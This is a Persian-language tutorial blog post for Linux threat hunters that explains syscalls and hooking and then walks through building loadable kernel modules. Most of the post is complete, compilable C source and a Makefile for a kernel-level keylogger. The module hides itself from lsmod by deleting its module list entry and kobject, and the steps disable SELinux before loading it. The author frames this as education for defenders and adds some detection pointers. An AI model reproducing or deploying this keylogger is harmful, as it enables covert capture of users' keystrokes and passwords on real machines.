بلاگ شخصی امین

اینجاییم که باهم یاد بگیریم

3 October 2025

قسمت ششم آموزش لینوکس Linux Kernel Attacks

by amin Ghorbani

توسعه rootkit و شکارش در linux

حالا که یکم دستمون توی لینوکس راه افتاده، توی این بخش میخوایم باهم یه rootkit ساده در لینوکس توسعه بدیم و بریم ببینیم مهاجمین چجوری و با چه هدفی از kernel module ها استفاده میکنند. نکته مهم همینه، شما در لینوکس زمانی که دسترسی root دارید دیگه دستتون برای خیلی کارها خیلی بازه از جمله اینکارها نصب Linux Kernel Moduleها یا همان LKMهاست. اما قبلش باید یه سری مفاهیم رو هرچند سطحی اینجا بهش بپردازیم و بعدا به موضوع اصلی برمیگردیم و بیشتر درباه اون حرف میزنیم.

syscall

وقتی یک برنامه‌ (User Space) در لینوکس نیاز دارد با سخت‌افزار یا کرنل تعامل کند—مثلاً خواندن یک فایل، ارسال داده روی شبکه یا ایجاد یک process جدید—نمی‌تواند مستقیم به سخت‌افزار یا حافظه‌ی کرنل دسترسی داشته باشد.
اینجاست که System Call وارد عمل می‌شود.

سیستم‌کال یک واسط (Interface) بین برنامه‌ و کرنل است. در واقع هر کاری که نیازمند دسترسی سطح پایین و منابع سیستم باشد، از طریق یک سیستم‌کال انجام می‌شود. یک برنامه‌ی وقتی از کرنل چیزی میخواهد به این طریق درخواستش رو انجام میده؟

چندتا از system callها مهم که خیلی استفاده میشوند عبارتند از :

یه کد ساده زبان c رو اینجا ببینید که یکی از این system call ها را استفاده کرده است:

#include <sys/syscall.h>
#include <unistd.h>

int main() {
    const char *msg = "Direct syscall!\n";
    syscall(SYS_write, 1, msg, 16);
    return 0;
}

اینجا از تابع syscall استفاده شده و شماره‌ی SYS_write که در syscall.h تعریف شده مستقیماً صدا زده می‌شود. در کد بالا که خیلی واضح و راحته SYS_write در حقیقت همون کد سیستم کال write هست، عدد 1 که در پارامتر دوم syscall همان stdout است، msg که واضحه درنهایت 16 هم طول رشته ای است که قراره printشه.

ابزارهای زیادی برای مشاهده و بررسی سیستم‌کال‌ها وجود دارند که یکی از آن های strace است:

strace ./a.out

برای این سناریو و کاری که میکنیم نیاز داریم package نصب کنیم:

sudo yum install gcc -y

بعد از نصب gcc با کامند زیر کدی که نوشتیم رو کامپایل میکنیم

gcc -Wall -o direct_syscall direct_syscall.c

direct_syscall

برنامه strace هم به صورت پیش فرض رو ماشین شما نصب نیست و باید نصب کنید:

sudo yum install strace -y

حالا میتونیم همه سیس کال های برنامه مون رو ببینیم

StraceCommand

حالا باید یه مقدار درباره hook کردن بدونیم :)

hook

هوک کردن یعنی دستکاری یا جایگزین کردن یه تابع کرنل (مثل تابع مربوط به یه syscall) با یه تابع مخرب که رفتار دلخواه مهاجم رو اجرا کنه. توی سناریوی ما، مهاجم syscallهایی مثل getdents یا kill رو هوک می‌کنه تا رفتار سیستم رو تغییر بده (مثلاً مخفی کردن فایل‌ها یا فرآیندها).

برای اینکه کد خودمون رو توسعه بدیم و بخوایم کامپایل کنیم نیازه یه سری package نصب کنیم:

sudo dnf install kernel-devel-$(uname -r) kernel-headers-$(uname -r) make gcc elfutils-libelf-devel

نکته: اگر بستهٔ kernel-devel-$(uname -r) موجود نبود، احتمالاً باید سیستم را ریبوت کنی تا به کرنلِی که kernel-devel برایش نصب شده برسی،. معمولاً دستور زیر مفیده برای دیدن بسته‌های کرنل:

rpm -qa | grep kernel

توسعه Rootkit آزمایشی در لینوکس

خب حالا به این کد ساده دقت کنید ( لازمه بگیم اینجا هدف فقط اینه شما به عنوان کسی که قصد داره Threat Hunt رو در لینوکس انجام بده یه بار این حملات رو ببینید و یادبگیرید چجوری برای خودتون شبیه سازی کنید، اصلا ما قصد نداریم Red Team اموزش بدیم)

#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("aminGhorbani");
MODULE_DESCRIPTION("kernel-test-rootkit");
MODULE_VERSION("0.001");

static int __init hack_init(void) {
  printk(KERN_INFO "I hacked your system :)");
  return 0;
}

static void __exit hack_exit(void) {
  printk(KERN_INFO "Bye Bye Machine!");
}

module_init(hack_init);
module_exit(hack_exit);

خب قبلا درباره Kernel Module ها صحبت کردیم الان کد بالا رو قصد داریم به عنوان یه Kernel Module با make کامپایل کنیم. پس Makefileخودمون رو اینجا میسازیم:

obj-m += hack.o

all:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

و حالا به سادگی با دستور زیر این برنامه رو compile میکنیم

make

و همونطوری که بلدید با دستور insmod آن را نصب میکنیم

insmod hack.ko

یادتونه که با dmesg میتونستیم لاگ های مربوط به kernel module رو ببینیم

sudo dmesg | grep "hacked"

StraceCommand

خب حالا برای درک بهتر خطری که نصب LKM توسط مهاجم رو سیستم شما میتونه براتون داشته باشه، یه KeyLogger ساده توسعه داده ایم. اما این Keylogger رو به جای USER SPACE توسط LKM به کرنل میبریم و در اونجا اجراش میکنیم. یه کار مهم دیگه هم که اینجا انجام میدیم اینه که کاری میکنیم که این KERNEL MODULE و KEYLOGGER کار خودش رو بکنه اما تو خروجی lsmod خبری ازش نباشه.اینجاست که میگیم در لینوکس وقتی root هستیم، شبیه خداییم فقط میگم “کن فیکون” ما میتونیم اینجا حتی Process خودمون رو از لیست پراسس ها حذف کنیم، کاری کنیم که connectionمون که روی یه پورت ESTABLISH شده در خروجی netstat دیده نشه و هزار کار اینجوری :) اما چون اینا یکم خطر ناکه ما یه keylogger ساده مینویسیم، به عنوان kernel module نصبش میکنیم و در نهایت از lsmod هم hidden میکنیمش ولی در عین حال که hidden هست keylog خودش رو انجام میده :) یادتونه باشه تاکید میکنم این فقط جنبه اموزش داره تا درک کنید اهمیت موضوع رو … من کد رو روی Fedora زدم :

##include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/input.h>
#include <linux/keyboard.h>
#include <linux/notifier.h>
#include <linux/string.h>
#include <linux/time64.h>
#include <linux/list.h>
#include <linux/kobject.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("Educational CTF Sample");
MODULE_DESCRIPTION("Hidden LKM keylogger");

static struct notifier_block keylog_nb;

// Keycode to string (from user-space code - fixed for kernel)
static const char *keycode_to_string(unsigned int code) {
  switch (code) {
    case KEY_ESC: return "ESC";
    case KEY_1: return "1";
    case KEY_2: return "2";
    case KEY_3: return "3";
    case KEY_4: return "4";
    case KEY_5: return "5";
    case KEY_6: return "6";
    case KEY_7: return "7";
    case KEY_8: return "8";
    case KEY_9: return "9";
    case KEY_0: return "0";
    case KEY_Q: return "Q";
    case KEY_W: return "W";
    case KEY_E: return "E";
    case KEY_R: return "R";
    case KEY_T: return "T";
    case KEY_Y: return "Y";
    case KEY_U: return "U";
    case KEY_I: return "I";
    case KEY_O: return "O";
    case KEY_P: return "P";
    case KEY_A: return "A";
    case KEY_S: return "S";
    case KEY_D: return "D";
    case KEY_F: return "F";
    case KEY_G: return "G";
    case KEY_H: return "H";
    case KEY_J: return "J";
    case KEY_K: return "K";
    case KEY_L: return "L";
    case KEY_Z: return "Z";
    case KEY_X: return "X";
    case KEY_C: return "C";
    case KEY_V: return "V";
    case KEY_B: return "B";
    case KEY_N: return "N";
    case KEY_M: return "M";
    case KEY_SPACE: return "SPACE";
    case KEY_ENTER: return "ENTER";
    case KEY_BACKSPACE: return "BACKSPACE";
    case KEY_TAB: return "TAB";
    case KEY_LEFTSHIFT: return "LEFTSHIFT";
    case KEY_RIGHTSHIFT: return "RIGHTSHIFT";
    case KEY_LEFTCTRL: return "LEFTCTRL";
    case KEY_RIGHTCTRL: return "RIGHTCTRL";
    case KEY_F1: return "F1";
    case KEY_F2: return "F2";
    default: return "UNKNOWN";
  }
}

// Notifier callback - capture key events (only key down, converted from user-space read)
static int keylog_keyboard_notifier(struct notifier_block *nb, unsigned long action, void *data) {
    struct keyboard_notifier_param *param = data;
    const char *keyname = keycode_to_string(param->value);

    // Only log on key down (param->down = 1) - fixed from user-space ev.value == 1
    if (!param->down || strcmp(keyname, "UNKNOWN") == 0) {
        return NOTIFY_OK;
    }

    // Log with timestamp (converted from printf/fprintf)
    struct timespec64 ts;
    ktime_get_real_ts64(&ts);
    char timestamp[64];
    snprintf(timestamp, sizeof(timestamp), "[%lld.%09ld] ", (long long)ts.tv_sec, ts.tv_nsec / 1000);

    printk(KERN_INFO "keylog: %s%s (code %d)", timestamp, keyname, param->value);

    return NOTIFY_OK;
}

static int __init keylog_init(void) {
    int ret;

    printk(KERN_INFO "keylog: Attack Successful - Hidden Keylogger Started! Logging to dmesg\n");

    // Register keyboard notifier (converted from /dev/input read)
    keylog_nb.notifier_call = keylog_keyboard_notifier;
    ret = register_keyboard_notifier(&keylog_nb);
    if (ret) {
        printk(KERN_ERR "keylog: Failed to register notifier (ret=%d)\n", ret);
        return ret;
    }

    // Hide module from lsmod and ps
    list_del(&THIS_MODULE->list);
    kobject_del(&THIS_MODULE->mkobj.kobj);

    return 0;
}

static void __exit keylog_exit(void) {
    unregister_keyboard_notifier(&keylog_nb);
    printk(KERN_INFO "keylog: Unloaded - Keylogger Stopped\n");
}

module_init(keylog_init);
module_exit(keylog_exit);

برای کامپایل از Makefile استفاده میکنیم :

obj-m += keylog.o

KDIR := /lib/modules/$(shell uname -r)/build
PWD := $(shell pwd)

default:
	$(MAKE) -C $(KDIR) M=$(PWD) modules

clean:
	$(MAKE) -C $(KDIR) M=$(PWD) clean

install:
	sudo insmod keylog.ko

uninstall:
	sudo rmmod keylog

برای اینکه مطمئن باشیم SELinux مشکل ایجاد نمیکنه فعلا disable میکنیمش

sudo setenforce 0 

در نهایت ماژول رو نصب میکنیم

sudo insmod keylog.ko

برای اینکه ببینیم در لیست module ها نیست ولی کار میکنه دستورات زیر رو میزنیم

lsmod | grep keylog

hide_it

شما این رو در نظر بگیر که مهاجم واقعی دیگه وقتی کلید رو به دست میاره در dmesg لاگ نمیکند بلکه آن را به c2 server خود ارسال میکند.

USER_INPUT

KEYLOG

هر گاه در یک سیستم لینوکسی به یه ko. رسیدید میتوانید با دستور زیر sign آن را چک کنید :

modinfo <module_name>.ko

KEYLOG

برای Persist این نوع kernel module ها یکی از مسیرهای متداول در زیر امده است که این مسیرهم میتواند در Threat hunting از مسیرهای مهم باشد که چک میکنید:

ls /etc/modules-load.d/
tags: linux - keylog - syscall - hook - kernel_module